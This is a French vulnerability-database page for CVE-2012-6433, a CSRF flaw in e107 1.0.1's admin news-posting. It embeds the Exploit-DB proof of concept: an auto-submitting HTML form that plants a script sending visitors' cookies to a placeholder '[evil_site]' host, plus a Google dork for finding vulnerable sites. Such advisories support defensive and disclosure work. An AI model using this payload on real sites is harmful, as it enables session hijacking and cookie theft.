CVE-2012-6433 : Détail

CVE-2012-6433

Cross-Site Request Forgery - CSRF
A01-Broken Access Control
0.33%V3
Network
2013-01-03
11h00 +00:00
2024-09-16
20h26 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Cross-site request forgery (CSRF) vulnerability in e107_admin/newspost.php in e107 1.0.1 allows remote attackers to hijack the authentication of administrators for requests that conduct XSS attacks via the news_title parameter in a create action.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-352 Cross-Site Request Forgery (CSRF)
The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 23828

Date de publication : 2013-01-01 23h00 +00:00
Auteur : Joshua Reynolds
EDB Vérifié : Yes

# Exploit Title: e107 v1.0.1 Administrator CSRF Resulting in Arbitrary Javascript Execution # Google Dork: intext:"This site is powered by e107" # Date: 01/01/13 # Exploit Author: Joshua Reynolds # Vendor Homepage: http://e107.org # Software Link: http://sourceforge.net/projects/e107/files/e107/e107%20v1.0.1/e107_1.0.1_full.tar.gz/download # Version: 1.0.1 # Tested on: BT5R1 - Ubuntu 10.04.2 LTS # CVE: CVE-2012-6433 ------------------------------------------------------------------------------------------ Description: A Cross-Site Request Forgery vulnerability exists in the /e107_admin/newspost.php?create function, in which an attacker can create a malicious POST request that could be sent by a logged in e107 Administrator (upon visiting a malicious site using an iFrame known as a drive-by attack, or other means). This is possible since e-tokens or any other request validation is not used during this type of request. The severity of this vulnerability increases when the Administrator has the ability to post News Items containing javascript. This results in an attacker having the ability to force an administrator to post any arbitrary javascript to the front page of the e107 site. Also, once posted, the resulting page: /e107/e107_admin/newspost.php displays the new content to the Administrator, and if this javascript is set in the news_title POST parameter, it is executed on this page in the context of the Administrator. This results in the ability for an attacker to use any type of javascript attack at this point in time on the Administrator through the backend news items, and/or on the front end to any logged in user that may visit this page. What naturally comes to mind is session hijacking through established User/Administrator cookies. ------------------------------------------------------------------------------------------ Exploit: <html> <body onload="document.formCSRF.submit();"> <form method="POST" name="formCSRF" action="http://[site]/e107_admin/newspost.php?create"> <input type="hidden" name="cat_id" value="1"/> <input type="hidden" name="news_title" value="<script>location.href='http://[evil_site]/cookiemonster.php?cookie='+document.cookie;</script>" <input type="hidden" name="news_summary" value=""/> <input type="hidden" name="data" value=""/> <input type="hidden" name="news" value=""/> <input type="hidden" name="sizeselect" value=""/> <input type="hidden" name="preimageselect" value=""/> <input type="hidden" name="news_extended" value=""/> <input type="hidden" name="extended" value=""/> <input type="hidden" name="sizeselect" value=""/> <input type="hidden" name="preimageselect" value=""/> <input type="hidden" name="file_userfile[]" value=""/> <input type="hidden" name="uploadtype[]" value="resize"/> <input type="hidden" name="resize_value" value="100"/> <input type="hidden" name="news_allow_comments" value="0"/> <input type="hidden" name="news_rendertype" value="0"/> <input type="hidden" name="news_start" value=""/> <input type="hidden" name="news_end" value=""/> <input type="hidden" name="news_datestamp" value=""/> <input type="hidden" name="news_userclass[0]" value="1"/> <input type="hidden" name="news_author" value="1"/> <input type="hidden" name="submit_news" value="Post news to database"/> <input type="hidden" name="news_id" value=""/> </form> </body> </html> ------------------------------------------------------------------------------------------ Fix: The bug has been fixed in the following revision: r12992 Upgrade to v1.0.2 ------------------------------------------------------------------------------------------ Shout outs: Red Hat Security Team, Ms. Umer, Dr. Wu, Tim Williams, friends, & family. Contact: Mail: infosec4breakfast@gmail.com Blog: infosec4breakfast.com Twitter: @jershmagersh Youtube: youtube.com/user/infosec4breakfast

Products Mentioned

Configuraton 0

E107>>E107 >> Version 1.0.1

Références

http://e107.org/changelog
Tags : x_refsource_CONFIRM
http://www.exploit-db.com/exploits/23828/
Tags : exploit, x_refsource_EXPLOIT-DB